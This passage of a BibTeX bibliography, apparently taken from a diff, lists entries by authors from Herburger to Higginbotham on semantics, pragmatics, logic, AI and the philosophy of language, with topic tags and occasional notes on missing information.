Herburger}, + title = {Focus and Weak Noun Phrases}, + journal = {Natural Language Semantics}, + year = {1997}, + volume = {5}, + number = {1}, + pages = {53--78}, + topic = {sentence-focus;pragmatics;} + } + +@article{ herburger:2001a, + author = {Elena Herburger}, + title = {The Negative Concord Puzzle Revisited}, + journal = {Natural Language Semantics}, + year = {2001}, + volume = {9}, + number = {3}, + pages = {289--333}, + topic = {polarity;negative-concord;} + } + +@book{ heringer:1972a, + author = {James T. Heringer}, + title = {Some Grammatical Correlates of Felicity Conditions and + Presuppositions}, + publisher = {Indiana University Linguistics Club}, + year = {1972}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ heringer:1976a, + author = {James T. Heringer}, + title = {Pre-sequences and Indirect Speech Acts}, + booktitle = {Discourse Structure Across Time and Space}, + publisher = {Linguistics Department, University of California}, + year = {1976}, + editor = {Edward L. Keenan and T. Bennett}, + pages = {169--180}, + address = {Los Angeles, California}, + topic = {speech-acts;pragmatics;} + } + +@book{ herkin:1988a, + editor = {Rolf Herkin}, + title = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + address = {Oxford}, + contentnote = {TC: + 1. Andrew Hodges, "Alan {T}uring and the {T}uring Machine", + pp. 3--15 + 2. Steven C. Kleene, "Turing's Analysis of Computability, + and Major Applications of It", pp. 17--54 + 3. Robin Gandy, "The Confluence of Ideas in + 1936", pp. 55--111 + 4. Solomon Feferman, "Turing in the Land of + {O}(z)", pp. 113--147 + 5. Martin Davis, "Mathematical Logic and the Origin of + Modern Computers", pp. 149--174 + 6. Michael A. Arbib, "From Universal {T}uring Machines + to Self-Reproduction", pp. 177--189 + 7. Michael J. Beeson, "Computerizing Mathematics: Logic and + Computation", pp. 191--225 + 10. Charles H. Bennett, "Logical Depth and Physical + Complexity", pp. 227--257 + 11. Allen H. Brady, "The Busy Beaver Game and the Meaning + of Life", pp. 259--277 + 12. Gregory J. Chattin, "An Algebraic Equation for the Halting + Probability", pp. 279--283 + 13. Michael Conrad, "The Price of Programmability", pp. 285--307 + 14. Elias Dahlhaus and Johann A. Malowsky, "Gandy's + Principles for Mechanism as a Model of Parallel + Computation", pp. 309--314 + 15. Martin Davis, "Influences of Mathematical Logic on + Computer Science", pp. 315--326 + 16. Jens Erik Fenstad, "Language and + Computations", pp. 327--347 + 17. David Finkelstein, "Finite Physics", pp. 349--376 + 18. Oded Goldreich, "Randomness, Interactive Proofs, and + Zero-Knowledge---A Survey", pp. 377--405 + 19. Yuri Gurevich, "Algorithms in the World of Bounded + Resources", pp. 407--416 + 20. Brosl Hasslacher, "Beyond the Turing + Machine", pp. 417--433 + 21. Moshe Koppel, "Structure", pp. 435--452 + 22. Johann A. Makowsky, "Mental Images and the Architecture + of Concepts", pp. 453--465 + 23. Donald Michie, "The Fifth Generation's Unbridged + Gap", pp. 467--489 + 24. Roger Penrose, "On the Physics and Mathematics of + Thought", pp. 491--522 + 25. Robert Rosen, "Effective Processes and Natural + Law", pp. 523--537 + 26. Helmut Schlelle, "Turing Naturalized: {V}on {N}eumann's + Unfinished Project", pp. 539--559 + 27. Uwe Schoning, "Complexity Theory and + Interactions", pp. 561--580 + 28. John C. Shepardson, "Mechanisms for Computing over + Arbitrary Structures", pp. 581--601 + 29. Boris A. Trakhtenbrot, "Conparing the {C}hurch and {T}uring + Approaches: Two Prophetical Messages", pp. 603--630 + 30. Oswald Weiner, "Form and Content in Thinking Turing + Machines", pp. 631--657 + } , + topic = {Turing;theory-of-computation;history-of-computation;} + } + +@article{ herman-kanade:1986a, + author = {Martin Herman and Takeo Kanade}, + title = {Incremental Reconstruction of 3D Scenes from + Multiple, Complex Images}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {30}, + number = {3}, + pages = {289--341}, + topic = {three-D-reconstruction;} + } + +@inproceedings{ hermjakob-mooney:1997a, + author = {Ulf Hermjakob and Raymond J. Mooney}, + title = {Learning Parse and Translation Decisions from Examples + with Rich Context}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {482--489}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;} + } + +@article{ hernandezorallo:2000a, + author = {Jose Hernandez-Orallo}, + title = {Beyond the {T}uring Test}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {4}, + pages = {447--446}, + topic = {foundations-of-AI;} + } + +@article{ hernandezorallo:2000b, + author = {Jos\'e Hern\'andez-Orallo}, + title = {Review of {\it Truth from Trash: How Learning Makes Sense}, + by Chris Thornton}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {124}, + number = {1}, + pages = {161--165}, + xref = {Review of: thornton:2000a.}, + topic = {machine-learning;} + } + +@incollection{ herre:1991a, + author = {Heinich Herre}, + title = {Nonmonotonic Reasoning and Logic Programs}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + pages = {38--58}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {nonmonotonic-logic;logic-programming;} + } + +@incollection{ herre:1994a, + author = {Heinrich Herre}, + title = {Compactness Properties of Nonmonotonic Inference Operations}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {19--33}, + address = {Berlin}, + topic = {nonmonotonic-logic;} + } + +@incollection{ herre:1995a, + author = {Heinrich Herre}, + title = {Theory of Linear Order in Extended Logics}, + booktitle = {Quantifiers: Logic, Models, and Computation, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Micha{\l} Krynicki and Marcin Mostowski and Les{\l}aw W. + Szczerba}, + pages = {139--192}, + address = {Dordrecht}, + topic = {linear-orderings;decidability;} + } + +@book{ herrero:1988a, + author = {Angel Herrero}, + title = {Semiotica y Creatividad: La Logica Abductiva}, + publisher = {Palas Atenea}, + year = {1988}, + address = {Madrid}, + topic = {semiotics;creativity;} + } + +@inproceedings{ herrman-thielscher:1996a, + author = {Christoph Herrman and Mochael Thielscher}, + title = {Reasoning about Continuous Processes}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {639--644}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {temporal-reasoning;reasoning-about-continuous-time; + continuous-change;} + } + +@book{ hersh:1996a, + author = {Reuben Hersh}, + title = {What is Mathematics, Really}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + xref = {Review: liston:1991.}, + topic = {philosophy-of-mathematics;} + } + +@incollection{ herskovits:1997a, + author = {Annette Herskovits}, + title = {Language, Spatial Cognition, and + Vision}, + booktitle = {Spatial and Temporal Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Oliviero Stock}, + pages = {155--202}, + address = {Dordrecht}, + topic = {spatial-semantics;vision;} + } + +@article{ herweg:1991a, + author = {Michael Herweg}, + title = {Perfective and Imperfective Aspect and the Theory of Events + and States}, + journal = {Linguistics}, + year = {1991}, + volume = {29}, + missinginfo = {number}, + topic = {tense-aspect;imperfective-paradox;} + } + +@incollection{ herzberger:1970a, + author = {Hans Herzberger}, + title = {Truth and Modality in Semantically Closed Languages}, + booktitle = {The Paradox of the Liar}, + publisher = {Yale University Press}, + year = {1970}, + editor = {Robert L. Martin}, + address = {New Haven}, + missinginfo = {pages}, + topic = {truth;semantic-paradoxes;} + } + +@article{ herzberger:1970b, + author = {Hans Herzberger}, + title = {Paradoxes of Grounding in Semantics}, + journal = {Journal of Philosophy}, + year = {1970}, + volume = {67}, + pages = {145--167}, + missinginfo = {number}, + topic = {semantic-paradoxes;} + } + +@article{ herzberger:1973a, + author = {Hans G. Herzberger}, + title = {Dimensions of Truth}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {4}, + pages = {535--556}, + topic = {truth;} + } + +@article{ herzberger:1975a, + author = {Hans Herzberger}, + title = {Canonical Superlanguages}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {1}, + pages = {45--65}, + topic = {presupposition;pragmatics;supervaluations;} + } + +@incollection{ herzberger:1976a, + author = {Hans G. Herzberger}, + title = {Presuppositional Policies}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {139--164}, + address = {Dordrecht}, + topic = {presupposition;pragmatics;} + } + +@article{ herzberger:1979a, + author = {Hans Herzberger}, + title = {Counterfactuals and Consistency}, + journal = {Journal of Philosophy}, + year = {1979}, + volume = {86}, + pages = {83--88}, + missinginfo = {number}, + topic = {conditionals;} + } + +@article{ herzberger:1982a, + author = {Hans Herzberger}, + title = {Notes on Naive Semantics}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {1}, + pages = {61--102}, + topic = {semantic-paradoxes;} + } + +@article{ herzberger:1982b, + author = {Hans Herzberger}, + title = {Naive Semantics and the Liar Paradox}, + journal = {Journal of Philosophy}, + year = {1982}, + volume = {79}, + number = {9}, + pages = {479--497}, + topic = {semantic-paradoxes;} + } + +@article{ herzberger:1982c, + author = {Hans Herzberger}, + title = {New Paradoxes for Old}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1982}, + missinginfo = {pages, number}, + topic = {semantic-paradoxes;} + } + +@incollection{ herzig:1996a, + author = {Andreas Herzig}, + title = {The {PMA} Revisited}, + booktitle = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {40--50}, + address = {San Francisco, California}, + contentnote = {"PMA" = possible models approach. Winslett's approach to + DB update.}, + topic = {database-update;kr-complexity-analysis;} + } + +@incollection{ herzig:1998a, + author = {Andreas Herzig}, + title = {Logics for Belief Base Updating}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 3: Belief Change}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Didier Dubois and Henri Prade}, + pages = {189--231}, + address = {Dordrecht}, + topic = {belief-revision;} + } + +@incollection{ herzig-rifi:1998a, + author = {Andreas Herzig and Omar Rifi}, + title = {Update Operations: A Review}, + booktitle = {{ECAI}98, Thirteenth European Conference on + Artificial Intelligence}, + publisher = {John Wiley and Sons}, + year = {1998}, + editor = {Henri Prade}, + pages = {13--17}, + address = {Chichester}, + topic = {knowledge-base-revision;} + } + +@inproceedings{ herzig-etal:1999a, + author = {Andreas Herzig and Jer\^ome Lang and Thomas Polacsek}, + title = {Knowledge, Actions, and Tests}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Practical Reasoning and Rationality}, + year = {1999}, + editor = {John Bell}, + pages = {16--20}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {modal-logic;action-formalisms;practical-reasoning;} + } + +@article{ herzig-rifi:1999a, + author = {Andreas Herzig and Omar Rifi}, + title = {Propositional Belief Update and Minimal Change}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {115}, + number = {1}, + pages = {107--138}, + topic = {belief-revision;complexity-in-AI;} + } + +@article{ herzig-rifi:1999b, + author = {Andreas Herzig and Omar Rifi}, + title = {Propositional Belief Base Update and Minimal Change}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {115}, + number = {1}, + pages = {107--138}, + topic = {knowledge-base-revision;belief-revision;} + } + +@incollection{ hesse:1993a, + author = {Mary N. hesse}, + title = {Models, Metaphors, and Truth}, + booktitle = {Knowledge and Language: Volume {III}, Metaphor and + Knowledge}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {F.R. Ankersmit and J.J.A. Mooij}, + pages = {49--66}, + address = {Dordrecht}, + topic = {metaphor;pragmatics;philosophy-and-models;} + } + +@article{ hestvik:1995a, + author = {Arild Hestvik}, + title = {Reflexives and Ellipsis}, + journal = {Natural Language Semantics}, + year = {1995}, + volume = {3}, + number = {2}, + pages = {211--237}, + topic = {ellipsis;anaphora;nl-semantics;} + } + +@article{ hetherington:1999a, + author = {Steven Hetherington}, + title = {Knowing Failably}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {11}, + pages = {565--587}, + topic = {defeasible-knowledge;} + } + +@article{ hewitt:1977a, + author = {Carl Hewitt}, + title = {Viewing Control Structures as Patterns of Passing + Messages}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {8}, + number = {3}, + pages = {323--364}, + topic = {control;distributed-processing;} + } + +@incollection{ hewitt_bg:1994a, + author = {B.G. Hewitt}, + title = {Greenburg Universals}, + booktitle = {The Encyclopedia of Language and Linguistics}, + publisher = {Oxford University Press}, + year = {1994}, + editor = {R. Asher}, + pages = {1500--1504}, + address = {Oxford}, + missinginfo = {A's 1st name.}, + topic = {language-universals;} + } + +@article{ hewitt_c:1991a, + author = {Carl Hewitt}, + title = {Open Information Systems Semantics for Distributed + Artificial Intelligence}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {47}, + number = {1--3}, + pages = {79--106}, + acontentnote = {Abstract: Distributed Artificial Intelligence (henceforth + called DAI) deals with issues of large-scale Open Systems (i.e. + systems which are always subject to unanticipated outcomes in + their operation and which can receive new information from + outside themselves at any time). Open Information Systems + (henceforth called OIS) are Open Systems that are implemented + using digital storage, operations, and communications + technology. OIS Semantics aims to provide a scientific + foundation for understanding such large-scale OIS projects and + for developing new technology. + } , + topic = {distributed-AI;} + } + +@inproceedings{ hewitt_c:1995a, + author = {Carl Hewitt}, + title = {From Contexts to Negotiation Forums}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {4--5}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + note = {Abstract.}, + topic = {context;} + } + +@article{ heycock-kroch:1999a, + author = {Caroline Heycock and Anthony Kroch}, + title = {Pseudocleft Connectedness: Implications for + the {LF} Interface Level}, + journal = {Linguistic Inquiry}, + year = {1999}, + volume = {30}, + number = {3}, + pages = {365--397}, + topic = {cleft-constructions;LF;} + } + +@article{ heyer:1985a, + author = {Gerhard Heyer}, + title = {Generic Descriptions, Default Reasoning, and Typicality}, + journal = {Theoretical Linguistics}, + year = {1985}, + volume = {12}, + number = {2/3}, + pages = {35--72}, + topic = {nl-generics;} + } + +@incollection{ heylen:1995a, + author = {Derek Heylen}, + title = {Lexical Functions, Generative Lexicons and the World}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {125--140}, + address = {Cambridge, England}, + topic = {computational-lexical-semantics;nl-kr;computational-ontology;} + } + +@book{ heyting:1956a, + author = {Arend Heyting}, + title = {Intuitionism: An Introduction}, + publisher = {North-Holland}, + year = {1956}, + address = {Amsterdam}, + topic = {intuitionistic-mathematics;intuitionistic-logic;} + } + +@article{ hickerson:1971a, + author = {Nancy P. Hickerson}, + title = {Review of {\it Basic Color Terms: Their Universality and + `Evolution}, by {B}rent {B}erlin and {P}aul {K}ay}, + journal = {International Journal of American Linguistics}, + year = {1971}, + volume = {37}, + pages = {257--275}, + missinginfo = {number, last page is guess}, + topic = {color-terms;cultural-anthropology;} + } + +@article{ hickey:1996a, + author = {Ray J. Hickey}, + title = {Noise Modelling and Evaluating Learning from Examples}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {157--179}, + acontentnote = {Abstract: + The means of evaluating, using artificial data, algorithms, such + as ID3, which learn concepts from examples is enhanced and + referred to as the method of artificial universes. The central + notions are that of a class model and its associated + representations in which a class attribute is treated as a + dependent variable with description attributes functioning as + the independent variables. The nature of noise in the model is + discussed and modelled using information-theoretic ideas + especially that of majorisation. The notion of an irrelevant + attribute is also considered. The ideas are illustrated through + the construction of a small universe which is then altered to + increase noise. Learning curves for ID3 used on data generated + from these universes are estimated from trials. These show that + increasing noise has a detrimental effect on learning. } , + topic = {machine-learning;noise-modeling;} + } + +@book{ hicks-essinger:1991a, + author = {Richard Hicks and James Essinger}, + title = {Making Computers More Human: Designing for Human-Computer + Interaction}, + publisher = {Elsevier Advanced Technology}, + year = {1991}, + address = {Oxford}, + ISBN = {1856170578}, + topic = {HCI;} + } + +@incollection{ hidalgo-sanz:2000a, + author = {Jos\'e M. G\'omez Hidalgo and Enrique Puertas Sanz}, + title = {Combining Text and Heuristics for Cost-Sensitive Spam + Filtering}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {99--102}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;spam-filtering;} + } + +@article{ higginbotham:1980a, + author = {James Higginbotham}, + title = {Review of {\it Montague Grammar}, edited by {B}arbara {H}. + {P}artee}, + journal = {Journal of Philosophy}, + year = {1980}, + volume = {77}, + number = {6}, + pages = {278--312}, + topic = {Montague-grammar;nl-semantics;} + } + +@article{ higginbotham:1980b, + author = {James Higginbotham}, + title = {Comments on {H}intikka's Paper}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1980}, + volume = {23}, + number = {2}, + pages = {263--271}, + topic = {game-theoretic-semantics;} + } + +@article{ higginbotham:1980c, + author = {James Higginbotham}, + title = {Pronouns and Bound Variables}, + journal = {Linguistic Inquiry}, + year = {1980}, + volume = {11}, + number = {4}, + pages = {679--708}, + topic = {anaphora;nl-semantics;} + } + +@article{ higginbotham-may:1981a, + author = {James Higginbotham and Robert May}, + title = {Questions, Quantifiers and Crossing}, + journal = {Linguistic Review}, + year = {1981}, + volume = {1}, + number = {1}, + pages = {41--80}, + topic = {interrogatives;nl-quantifiers;} + } + +@inproceedings{ higginbotham:1982a, + author = {James Higginbotham}, + title = {{VP} Deletion and Across the Board Quantifier Scope}, + booktitle = {Proceedings of the Twelfth Meeting of the {N}ew + {E}ngland {L}inguistic {S}ociety}, + year = {1982}, + pages = {132--139}, + organization = {New {E}ngland {L}inguistic {S}ociety}, + publisher = {University of Massachusetts Graduate Student + Association}, + address = {Amherst, Massachusetts}, + missinginfo = {editor}, + topic = {nl-quantifier-scope;ellipsis;} + } + +@article{ higginbotham:1982b, + author = {James Higginbotham}, + title = {Comments on {H}intikka's Paper}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1982}, + volume = {23}, + number = {1}, + pages = {263--271}, + xref = {Commentary on hintikka:1982a.}, + topic = {game-theoretic-semantics;} + } + +@article{ higginbotham:1983a, + author = {James Higginbotham}, + title = {The Logic of Perceptual Reports: an Extensional Alternative + to Situation Semantics}, + journal = {Journal of Philosophy}, + year = {1983}, + volume = {80}, + pages = {100--127}, + number = {2}, + topic = {nl-semantics;logic-of-perception;situation-semantics;} + } + +@article{ higginbotham:1983b, + author = {James Higginbotham}, + title = {Logical Form, Binding, and Nominals}, + journal = {Linguistic Inquiry}, + year = {1983}, + volume = {14}, + number = {1}, + pages = {395--420}, + topic = {LF;} + } + +@incollection{ higginbotham:1983c, + author = {James Higginbotham}, + title = {Is Grammar Psychological?}, + booktitle = {How Many Questions? Essays in Honor of {S}idney + {M}orgenbesser}, + publisher = {Hackett}, + pages = {170--179}, + year = {1983}, + address = {Indianapolis}, + topic = {foundations-of-linguistics;philosophy-of-linguistics; + nl-semantics-and-cognition;psychological-reality;} + } + +@article{ higginbotham:1984a, + author = {James Higginbotham}, + title = {English Is Not a Context-Free Language}, + journal = {Linguistic Inquiry}, + year = {1984}, + volume = {15}, + number = {2}, + pages = {225--234}, + topic = {GPSG;generative-capacity;} + } + +@incollection{ higginbotham:1984c2, + author = {James Higginbotham}, + title = {Mass and Count Quantifiers}, + booktitle = {Quantification in Natural Languages, Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + address = {Dordrecht}, + xref = {Journal publication: higginbotham:1984c1.}, + missinginfo = {pages pages = {383--}}, + topic = {nl-semantics;nl-quantifiers;compositionality;} + } + +@article{ higginbotham:1985a, + author = {James Higginbotham}, + title = {Reply to {P}ullman}, + journal = {Linguistic Inquiry}, + year = {1985}, + volume = {16}, + number = {2}, + pages = {299--304}, + topic = {GPSG;} + } + +@article{ higginbotham:1985b, + author = {James Higginbotham}, + title = {On Semantics}, + journal = {Linguistic Inquiry}, + year = {1985}, + volume = {16}, + number = {4}, + pages = {547--593}, + contentnote = {A statement of the nature and role of semantics from the + standpoint of GB ca. 1985. There is also some Davidson influence. + --RT}, + topic = {nl-semantics;} + } + +@unpublished{ higginbotham:1985c, + author = {James Higginbotham}, + title = {Linguistic Theory and {D}avidson's Program in Semantics}, + year = {1985}, + note = {Unpublished ms, {MIT} Linguistics Department.}, + topic = {nl-semantics;Donald-Davidson;} + } + +@incollection{ higginbotham:1986a, + author = {James Higginbotham}, + title = {Linguistic Theory and {D}avidson's Program in Semantics}, + booktitle = {Truth and Interpretation: Perspectives on the Philosophy + of {D}onald {D}avidson}, + publisher = {Blackwell Publishers}, + year = {1986}, + editor = {Ernest LePore}, + pages = {29--48}, + address = {Oxford}, + topic = {nl-semantics;Donald-Davidson;} + } + +@article{ higginbotham:1986b, + author = {James Higginbotham}, + title = {{P}eacocke on Explanation in Computational Psychology}, + journal = {Mind and Language}, + year = {1986}, + volume = {1}, + number = {2}, + pages = {388--391}, + topic = {philosophy-of-cogsci;} + } + +@incollection{ higginbotham:1987a, + author = {James Higginbotham}, + title = {The Autonomy of Syntax and Semantics}, + booktitle = {Modularity in Knowledge Representation and Natural-Language + Understanding}, + publisher = {The {MIT} Press}, + year = {1987}, + editor = {Jay L. Garfield}, + pages = {119--131}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-linguistics;nl-semantics;} + } + +@incollection{ higginbotham:1987b, + author = {James Higginbotham}, + title = {On Semantics}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {1--54}, + address = {London}, + contentnote = {Discusses general issues in nl-semantics from a GB + perspective.}, + topic = {nl-semantics;LF;} + } + +@incollection{ higginbotham:1987c, + author = {James Higginbotham}, + title = {Indefiniteness and Predication}, + booktitle = {The Representation of (In)definites}, + publisher = {The {MIT} Press}, + year = {1987}, + pages = {41--80}, + address = {Cambridge, Massachusetts}, + topic = {nl-semantics;indefiniteness;} + } + +@incollection{ higginbotham:1988a, + author = {James Higginbotham}, + title = {Contexts, Models, and Meanings: A Note on the Data of + Semantics}, + booktitle = {Mental Representations: The Interface Between Language and + Reality}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Ruth Kempson}, + pages = {29--48}, + address = {Cambridge, England}, + topic = {nl-semantics;foundations-of-semantics;philosophy-of-linguistics;} + } + +@article{ higginbotham:1988b, + author = {James Higginbotham}, + title = {On the Varieties of Cross-Reference}, + journal = {Annali di Ca'Foscari}, + year = {1988}, + volume = {27}, + number = {4}, + pages = {123--142}, + topic = {anaphora;} + } + +@article{ higginbotham:1989a1, + author = {James Higginbotham}, + title = {Elucidations of Meaning}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {4}, + pages = {465--517}, + contentnote = {Main theme is relation between word meaning and the + interpretation of syntactic structures}, + xref = {Republication: higginbotham:1989a2.}, + topic = {LF;nl-semantics;events;event-semantics;} + } + +@incollection{ higginbotham:1989a2, + author = {James Higginbotham}, + title = {Elucidations of Meaning}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {157--178}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: higginbotham:1989a1.}, + topic = {LF;nl-semantics;events;event-semantics;} + } + +@incollection{ higginbotham:1989b, + author = {James Higginbotham}, + title = {Knowledge of Reference}, + booktitle = {Reflections on {C}homsky}, + publisher = {Blackwell Publishers}, + year = {1989}, + editor = {Alexander George}, + pages = {153--174}, + address = {Oxford, England}, + topic = {reference;nl-semantics;} + } + +@article{ higginbotham:1989c, + author = {James Higginbotham}, + title = {Elucidations of Meaning}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {4}, + pages = {465--517}, + topic = {nl-semantics;lexical-semantics;} + } + +@article{ higginbotham:1989d, + author = {James Higginbotham}, + title = {Reference and Control}, + journal = {Rivista di Linguistica}, + year = {1989}, + volume = {1}, + number = {2}, + pages = {301--326}, + topic = {syntactic-control;} + } + +@article{ higginbotham:1990a, + author = {James Higginbotham}, + title = {Penrose's Platonism}, + journal = {Behavioral and Brain Sciences}, + year = {1990}, + volume = {13}, + number = {4}, + pages = {643--654}, + topic = {foundations-of-cognition;} + } + +@incollection{ higginbotham:1990b, + author = {James Higginbotham}, + title = {Philosophical Issues in the Study of Language}, + booktitle = {Language: An Invitation to Cognitive Science, + Volume 1}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {243--257}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-of-linguistics;} + } + +@article{ higginbotham:1990c, + author = {James Higginbotham}, + title = {Searle's Vision of Psychology}, + journal = {Behavioral and Brain Sciences}, + year = {1990}, + volume = {13}, + number = {4}, + pages = {585--596}, + topic = {philosophy-of-cogsci;} + } + +@incollection{ higginbotham:1990d, + author = {James Higginbotham}, + title = {Frege, Concepts and the Design of Language}, + booktitle = {Information, Semantics and Epistemology}, + publisher = {Blackwell}, + year = {1990}, + editor = {Enrique Villaneuva}, + address = {Oxford}, + missinginfo = {pages}, + topic = {Frege;foundations-of-semantics;} + } + +@article{ higginbotham:1991a, + author = {James Higginbotham}, + title = {Remarks on the Metaphysics of Linguistics}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {5}, + pages = {555--566}, + xref = {Commentary on katz_jj-postal:1991a.}, + topic = {philosophy-of-linguistics;} + } + +@article{ higginbotham:1991b, + author = {James Higginbotham}, + title = {Belief and Logical Form}, + journal = {Mind and Language}, + year = {1991}, + volume = {6}, + number = {4}, + pages = {344--369}, + topic = {belief;nl-semantics;} + } + +@incollection{ higginbotham:1992a, + author = {James Higginbotham}, + title = {Reference and Control}, + booktitle = {Control and Grammar}, + publisher = {Kluwer Academic Publishers}, + year = {1992}, + editor = {James Higginbotham, Richard K. Larson, Sabine Iatridou + and Utpal Lahiri}, + address = {Dordrecht}, + missinginfo = {pages}, + topic = {syntactic-control;} + } + +@article{ higginbotham:1992b, + author = {James Higginbotham}, + title = {Truth and Understanding}, + journal = {Philosophical Studies}, + year = {1992}, + volume = {65}, + number = {1--2}, + pages = {3--16}, + topic = {truth;philosophy-of-language;} + } + +@book{ higginbotham-etal:1992a, + editor = {James Higginbotham and Richard K. Larson and Sabine Iatridou + and Utpal Lahiri}, + title = {Control and Grammar}, + publisher = {Kluwer}, + year = {1992}, + number = {48}, + series = {Studies in Linguistics and Philosophy}, + address = {Dordrecht}, + missinginfo = {A's order.}, + topic = {syntactic-control;} + } + +@incollection{ higginbotham:1993a, + author = {James Higginbotham}, + title = {Interrogatives}, + booktitle = {The View from Building 20: Essays in Linguistics in + Honor of {S}ylvain {B}romberger}, + publisher = {The {MIT} Press}, + year = {1993}, + editor = {Kenneth Hale and Samuel Jay Keyser}, + pages = {195--227}, + address = {Cambridge, Massachusetts}, + topic = {interrogatives;} + } + +@article{ higginbotham:1993b, + author = {James Higginbotham}, + title = {Latter-Day Intensions}, + journal = {Journal of Linguistics}, + year = {1993}, + volume = {29}, + number = {2}, + pages = {38--39}, + note = {Review of {G}ennaro {C}herchia, {B}arbara {H}. {P}artee + and {R}aymond {T}urner, eds., {\it Properties, Types and Meaning, + Vol. {I}: Foundational Issues.} {\it Properties, Types and Meaning, + Vol. {II}: Semantic Issues}.}, + topic = {nl-semantic-types;intensionality;} + } + +@incollection{ higginbotham:1993c, + author = {James Higginbotham}, + title = {Grammatical Form and Logical Form}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {173--196}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {LF;nl-semantics;} + } + +@incollection{ higginbotham:1994a, + author = {James Higginbotham}, + title = {Noam {C}homsky's Linguistic Theory}, + booktitle = {Mind and the Machine: Philosophical Aspects of Artificial + Intelligence}, + publisher = {Norwood}, + year = {1994}, + editor = {Steven B. Torrance}, + pages = {114--124}, + address = {New York}, + xref = {Original Publication: Social Research, 49(1), 1982.}, + topic = {government-binding-theory;} + } + +@article{ higginbotham:1994b, + author = {James Higginbotham}, + title = {Review of {\it Frege and Other Philosophers}, by + {M}ichael {D}ummett}, + journal = {Philosophical Books}, + year = {1994}, + volume = {35}, + number = {2}, + pages = {89--94}, + topic = {Frege;} + } + +@article{ higginbotham:1994c1, + author = {James Higginbotham}, + title = {Mass and Count Quantifiers}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = 